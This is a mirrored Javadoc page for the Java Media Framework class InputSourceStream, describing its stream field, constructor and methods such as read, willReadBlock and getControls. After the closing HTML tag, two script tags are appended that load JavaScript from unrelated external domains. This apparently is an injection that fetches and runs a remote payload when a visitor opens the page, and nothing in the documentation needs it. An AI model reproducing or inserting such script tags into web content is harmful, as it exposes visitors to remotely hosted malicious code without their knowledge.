inputsourcestream.html

JMF原版英文说明文档

</TR>
</TABLE>
&nbsp;
<P>

<!-- ============ FIELD DETAIL =========== -->

<A NAME="field_detail"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Field Detail</B></FONT></TD>
</TR>
</TABLE>

<A NAME="stream"><!-- --></A><H3>
stream</H3>
<PRE>
protected java.io.InputStream <B>stream</B></PRE>
<DL>
</DL>
<HR>

<A NAME="eosReached"><!-- --></A><H3>
eosReached</H3>
<PRE>
protected boolean <B>eosReached</B></PRE>
<DL>
</DL>

<!-- ========= CONSTRUCTOR DETAIL ======== -->

<A NAME="constructor_detail"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Constructor Detail</B></FONT></TD>
</TR>
</TABLE>

<A NAME="InputSourceStream(java.io.InputStream, javax.media.protocol.ContentDescriptor)"><!-- --></A><H3>
InputSourceStream</H3>
<PRE>
public <B>InputSourceStream</B>(java.io.InputStream&nbsp;s,
                         <A HREF="../../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A>&nbsp;type)</PRE>
<DL>
<DD>Construct an <CODE>InputSourceStream</CODE> from an input stream.<DD><DL>
<DT><B>Parameters:</B><DD><CODE>s</CODE> - The input stream to build the source stream from.<DD><CODE>type</CODE> - The content-type of the source stream.</DL>
</DD>
</DL>

<!-- ============ METHOD DETAIL ========== -->

<A NAME="method_detail"><!-- --></A>
<TABLE BORDER="1" CELLPADDING="3" CELLSPACING="0" WIDTH="100%">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Method Detail</B></FONT></TD>
</TR>
</TABLE>

<A NAME="getContentDescriptor()"><!-- --></A><H3>
getContentDescriptor</H3>
<PRE>
public <A HREF="../../../javax/media/protocol/ContentDescriptor.html">ContentDescriptor</A> <B>getContentDescriptor</B>()</PRE>
<DL>
<DD>Get the content type for this stream.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>content descriptor for the stream.</DL>
</DD>
</DL>
<HR>

<A NAME="getContentLength()"><!-- --></A><H3>
getContentLength</H3>
<PRE>
public long <B>getContentLength</B>()</PRE>
<DL>
<DD>Obtain the content length<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>content length for this stream.</DL>
</DD>
</DL>
<HR>

<A NAME="willReadBlock()"><!-- --></A><H3>
willReadBlock</H3>
<PRE>
public boolean <B>willReadBlock</B>()</PRE>
<DL>
<DD>Query if the next read will block.<DD><DL>
<DT><B>Specified by: </B><DD><A HREF="../../../javax/media/protocol/PullSourceStream.html#willReadBlock()">willReadBlock</A> in interface <A HREF="../../../javax/media/protocol/PullSourceStream.html">PullSourceStream</A></DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>true if a read will block.</DL>
</DD>
</DL>
<HR>

<A NAME="read(byte[], int, int)"><!-- --></A><H3>
read</H3>
<PRE>
public int <B>read</B>(byte[]&nbsp;buffer,
                int&nbsp;offset,
                int&nbsp;length)
         throws java.io.IOException</PRE>
<DL>
<DD>Read a buffer of data.<DD><DL>
<DT><B>Specified by: </B><DD><A HREF="../../../javax/media/protocol/PullSourceStream.html#read(byte[], int, int)">read</A> in interface <A HREF="../../../javax/media/protocol/PullSourceStream.html">PullSourceStream</A></DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>buffer</CODE> - The buffer to read data into.<DD><CODE>offset</CODE> - The offset into the buffer for reading.<DD><CODE>length</CODE> - The number of bytes to read.<DT><B>Returns:</B><DD>The number of bytes read or -1 indicating end-of-stream.</DL>
</DD>
</DL>
<HR>

<A NAME="close()"><!-- --></A><H3>
close</H3>
<PRE>
public void <B>close</B>()
           throws java.io.IOException</PRE>
<DL>
<DD>Turn the stream off.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Throws:</B><DD>java.io.IOException - Thrown if there is a problem closing the stream.</DL>
</DD>
</DL>
<HR>

<A NAME="endOfStream()"><!-- --></A><H3>
endOfStream</H3>
<PRE>
public boolean <B>endOfStream</B>()</PRE>
<DL>
<DD>Return if the end of stream has been reached.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>true if the end of the stream has been reached.</DL>
</DD>
</DL>
<HR>

<A NAME="getControls()"><!-- --></A><H3>
getControls</H3>
<PRE>
public java.lang.Object[] <B>getControls</B>()</PRE>
<DL>
<DD>Returns an zero length array because no controls
 are supported.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>a zero length <code>Object</code> array.</DL>
</DD>
</DL>
<HR>

<A NAME="getControl(java.lang.String)"><!-- --></A><H3>
getControl</H3>
<PRE>
public java.lang.Object <B>getControl</B>(java.lang.String&nbsp;controlName)</PRE>
<DL>
<DD>Returns <code>null</code> because no controls are implemented.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD><code>null</code>.</DL>
</DD>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>

<!-- ========== START OF NAVBAR ========== -->
<A NAME="navbar_bottom"><!-- --></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">
  <TR ALIGN="center" VALIGN="top">
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>
  </TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>

<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
&nbsp;<A HREF="../../../javax/media/protocol/FileTypeDescriptor.html"><B>PREV CLASS</B></A>&nbsp;
&nbsp;<A HREF="../../../javax/media/protocol/PullBufferDataSource.html"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;
&nbsp;<A HREF="InputSourceStream.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_summary">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;<A HREF="#constructor_detail">CONSTR</A>&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<!-- =========== END OF NAVBAR =========== -->

<HR>
<font size="-1">  <a href="mailto:[e-mail]">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font>
</BODY>
</HTML>

<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>